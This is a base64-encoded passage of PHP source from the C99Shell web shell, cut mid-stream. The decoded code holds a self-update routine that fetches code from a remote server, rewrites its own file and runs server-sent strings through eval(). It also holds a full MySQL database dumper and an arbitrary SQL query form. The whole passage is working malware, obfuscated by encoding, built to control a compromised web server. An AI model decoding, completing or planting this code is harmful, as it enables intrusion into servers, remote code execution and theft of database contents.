ZGF0ZW5vdz0iIC4gKCR1cGRhdGVub3cgPyAiMSIgOiAiMCIpIC4gIiYiOw0KICAgICAgICAgICAg
JGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZiAoISRkYXRh
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiAiQ2FuJ3QgY29ubmVjdCB0
byB1cGRhdGUtc2VydmVyISI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7DQogICAgICAg
ICAgICAgICAgJHN0cmluZyA9IHN1YnN0cigkZGF0YSwgMywgb3JkKCRkYXRhezJ9KSk7DQogICAg
ICAgICAgICAgICAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDEi
KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICJFcnJvcjog
IiAuICRzdHJpbmc7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRh
dGF7MX0gPT0gIlx4MDIiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
cmV0dXJuICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09
ICJceDAzIikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRzdHJpbmcg
PSBleHBsb2RlKCJceDAxIiwgJHN0cmluZyk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkdXBk
YXRlKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29u
ZnZhcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNvdXJjZXVybCA9ICRz
dHJpbmdbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkc291cmNlID0gZmlsZV9nZXRfY29u
dGVudHMoJHNvdXJjZXVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRzb3VyY2Up
DQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbihfX0ZJTEVfXywgInciKTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAiTG9j
YWwgZXJyb3I6IGNhbid0IHdyaXRlIHVwZGF0ZSB0byAiIC4gX19GSUxFX18gLiAiISBZb3UgbWF5
IGRvd25sb2FkIGM5OXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIiAuICRzb3VyY2V1cmwg
LiAiXCI+PHU+aGVyZTwvdT48L2E+LiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRzb3Vy
Y2UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICJUaGFua3MhIFVwZGF0ZWQgd2l0aCBz
dWNjZXNzLiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJu
ICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiIC4gJHN0cmluZ1sxXTsNCiAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCRk
YXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDQiKQ0KICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgZXZhbCgkc3RyaW5nKTsNCiAgICAgICAgICAgICAgICAg
ICAgcmV0dXJuIDE7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAiRXJyb3IgaW4gcHJv
dG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiIC4gJGRhdGEgLiAiKSAiOw0KICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0
aW9uX2V4aXN0cygibXlzcWxfZHVtcCIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gbXlzcWxf
ZHVtcCgkc2V0KQ0KICAgICAgICB7DQogICAgICAgICAgICBnbG9iYWwgJHNodmVyOw0KICAgICAg
ICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAgICAgICAkZGIgPSAkc2V0WyJkYiJd
Ow0KICAgICAgICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICAgICAgICRubDJi
ciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAgICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAg
ICAgICAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAgICAgICAkdGFi
cyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJz
Il07DQogICAgICAgICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRyZXRbImVyciJd
ID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gKCJFcnJvcjogXCRzb2NrIGlzIG5vdCB2YWxp
ZCByZXNvdXJjZS4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChlbXB0eSgkZGIp
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkYiA9ICJkYiI7DQogICAgICAgICAg
ICB9DQogICAgICAgICAgICBpZiAoZW1wdHkoJHByaW50KSkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkcHJpbnQgPSAwOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGVt
cHR5KCRubDJicikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJG5sMmJyID0gMDsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICRhZGRfZHJvcCA9IHRydWU7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBpZiAoZW1wdHkoJGZpbGUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICRmaWxlID0gJHRtcGRpciAuICJkdW1wXyIgLiBnZXRlbnYoIlNFUlZFUl9OQU1FIikg
LiAiXyIgLiAkZGIgLiAiXyIgLiBkYXRlKCJkLW0tWS1ILWktcyIpIC4gIi5zcWwiOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgJHRhYnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJGFkZF9kcm9wID0gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChzaXpl
b2YoJHRhYnMpID09IDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHJlcyA9IG15
c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIgLiAkZGIsICRzb2NrKTsNCiAgICAgICAgICAg
ICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJzW10gPSAk
cm93WzBdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgJG91dCA9ICIjIER1bXBlZCBieSBDOTlTaGVsbC5TUUwgdi4g
IiAuICRzaHZlciAuICINCgkJCQkJIyBIb21lIHBhZ2U6IGh0dHBzOi8vZ2l0aHViLmNvbS9LYWl6
ZW5Mb3VpZS9DOTlTaGVsbC1QSFA3DQoJCQkJCSMNCgkJCQkJIyBIb3N0IHNldHRpbmdzOg0KCQkJ
CQkjIE15U1FMIHZlcnNpb246ICgiIC4gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgLiAiKSBydW5u
aW5nIG9uICIgLiBnZXRlbnYoIlNFUlZFUl9BRERSIikgLiAiICgiIC4gZ2V0ZW52KCJTRVJWRVJf
TkFNRSIpIC4gIikiIC4gIg0KCQkJCQkjIERhdGU6ICIgLiBkYXRlKCJkLm0uWSBIOmk6cyIpIC4g
Ig0KCQkJCQkjIERCOiBcIiIgLiAkZGIgLiAiXCINCgkJCQkJIy0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIjsNCiAgICAgICAgICAgICRj
ID0gY291bnQoJG9ubHl0YWJzKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR0YWJzIGFzICR0YWIp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKChpbl9hcnJheSgkdGFiLCAkb25s
eXRhYnMpKSBvciAoISRjKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
IGlmICgkYWRkX2Ryb3ApDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiIC4gJHRhYiAuICJgO1xuIjsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gbXlzcWxf
cXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiIC4gJHRhYiAuICJgIiwgJHNvY2spOw0KICAgICAg
ICAgICAgICAgICAgICBpZiAoISRyZXMpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7DQogICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93
KCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCAuPSAkcm93WyIxIl0gLiAiO1xu
XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1Qg
KiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChteXNx
bF9udW1fcm93cygkcmVzKSA+IDApDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVz
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cp
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdmFsdWVzIGFzICRr
ID0+ICR2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiIC4gJGtleXMg
LiAiYCkgVkFMVUVTICgnIiAuICR2YWx1ZXMgLiAiJyk7XG4iOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkb3V0IC49ICRzcWw7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG91dCAuPSAiIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KICAgICAgICAgICAgaWYgKCRmaWxlKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICAgICAg
ICAgICAgICAgIGlmICghJGZwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgJHJldFsiZXJyIl1bXSA9IDI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAs
ICRvdXQpOw0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJHByaW50KQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIGlmICgkbmwyYnIpDQogICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICBlY2hvIG5sMmJyKCRvdXQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBl
Y2hvICRvdXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
cmV0dXJuICRvdXQ7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMo
Im15c3FsX2J1aWxkd2hlcmUiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxk
d2hlcmUoJGFycmF5LCAkc2VwID0gIiBhbmQiLCAkZnVuY3RzID0gYXJyYXkoKSkNCiAgICAgICAg
ew0KICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkYXJyYXkpKQ0KICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHZhbHVlID0gIiI7DQogICAgICAgICAg
ICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpDQogICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAkdmFsdWUgLj0gJGZ1bmN0c1ska10gLiAiKCI7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICR2YWx1ZSAuPSAiJyIgLiBhZGRzbGFzaGVzKCR2KSAuICIn
IjsNCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkNCiAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICR2YWx1ZSAuPSAiKSI7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gImAiIC4gJGsgLiAiYCA9ICIgLiAkdmFs
dWUgLiAkc2VwOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHJlc3VsdCA9IHN1YnN0cigk
cmVzdWx0LCAwLCBzdHJsZW4oJHJlc3VsdCkgLSBzdHJsZW4oJHNlcCkpOw0KICAgICAgICAgICAg
cmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlz
dHMoIm15c3FsX2ZldGNoX2FsbCIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gbXlzcWxfZmV0
Y2hfYWxsKCRxdWVyeSwgJHNvY2spDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICgkc29jaykN
CiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1
ZXJ5LCAkc29jayk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7DQogICAg
ICAgICAgICB9DQogICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgICAgICAgd2hp
bGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAkYXJyYXlbXSA9ICRyb3c7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICAgIHJldHVybiAkYXJyYXk7
DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0
ZXJyb3IiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUs
ICRzb2NrKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoJHNvY2spDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgJGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOw0KICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRl
cnJvciA9IG15c3FsX2Vycm9yKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZXJyb3Ig
PSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogICAgICAgICAgICByZXR1cm4gJGVycm9yOw0K
ICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9m
b3JtIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkNCiAgICAg
ICAgew0KICAgICAgICAgICAgZ2xvYmFsICRzdWJtaXQsICRzcWxfYWN0LCAkc3FsX3F1ZXJ5LCAk
c3FsX3F1ZXJ5X3Jlc3VsdCwgJHNxbF9jb25maXJtLCAkc3FsX3F1ZXJ5X2Vycm9yLCAkdGJsX3N0
cnVjdDsNCiAgICAgICAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQp
IGFuZCAoJHNxbF9jb25maXJtKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAo
ISRzcWxfcXVlcnlfZXJyb3IpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAkc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIgLiAkc3FsX3F1ZXJ5
X2Vycm9yIC4gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRzcWxfcXVl
cnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkc3FsX2FjdCA9ICRzcWxfZ290bzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlm
ICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gbmFtZT1cImM5OXNoX3NxbHF1
ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsNCiAgICAgICAgICAgICAgICBpZiAoKCRzcWxfcXVlcnkp
IGFuZCAoISRzdWJtaXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNo
byAiU1FMLVF1ZXJ5IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAi
OjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIg
LiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpIC4gIjwvdGV4dGFyZWE+PGJyPjxicj48aW5w
dXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PXNxbF9hY3QgdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1
ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKSAuICJcIj48aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxf
Z290b1wiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKSAuICJcIj48aW5w
dXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgICAgICAg
ICBpZiAoJHRibF9zdHJ1Y3QpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsNCiAgICAgICAg
ICAgICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKQ0KICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQi
XTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIsK7IDxhIGhyZWY9XCIjXCIgb25jbGlj
az1cImRvY3VtZW50LmM5OXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiIC4gJG5hbWUg
LiAiYCc7XCI+PGI+IiAuICRuYW1lIC4gIjwvYj48L2E+PGJyPiI7DQogICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJHNxbF9xdWVy
eV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7DQogICAgICAgICAgICB9DQogICAgICAg
IH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQ0K
ICAgIHsNCiAgICAgICAgZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwgJHNvY2sgPSAiIikN
CiAgICAgICAgew0KICAgICAgICAgICAgJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIgLiBhZGRz
bGFzaGVzKCRkYikgLiAiYDsiOw0KICAgICAgICAgICAgaWYgKCRzb2NrKQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIHJldHVybiBteXNxbF9xdWVyeSgkc3FsLCAkc29jayk7DQogICAg
ICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgcmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQog
ICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKQ0KICAg
IHsNCiAgICAgICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfcGFyc2UoJHF1ZXJ5KQ0KICAgICAgICB7
DQogICAgICAgICAgICAkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQogICAgICAgICAgICAkYXJyID0g
ZXhwbG9kZSgiICIsICRxdWVyeSk7DQogICAgICAgICAgICAkdHlwZXMgPSBhcnJheSgNCiAgICAg
ICAgICAgICAgICAiU0VMRUNUIiA9PiBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgMywNCiAg
ICAgICAgICAgICAgICAgICAgMQ0KICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgICAg
ICJTSE9XIiA9PiBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgMiwNCiAgICAgICAgICAgICAg
ICAgICAgMQ0KICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgICAgICJERUxFVEUiID0+
IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAxDQogICAgICAgICAgICAgICAgKSAsDQogICAg
ICAgICAgICAgICAgIkRST1AiID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAxDQogICAg
ICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBhcnJh
eSgpOw0KICAgICAgICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiAgICAgICAgICAg
IGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAgICAgICAgICAgICAg
ICRyZXN1bHRbInF1ZXJ5Il0gPSAkcXVlcnk7DQogICAgICAgICAgICAgICAgaWYgKCR0eXBlc1sk
b3BdID09IDIpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNo
ICgkYXJyIGFzICRrID0+ICR2KQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1pdCJd
ID0gJGFyclskayArIDFdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRbImxp
bWl0Il0gPSBleHBsb2RlKCIsIiwgJHJlc3VsdFsibGltaXQiXSk7DQogICAgICAgICAgICAgICAg
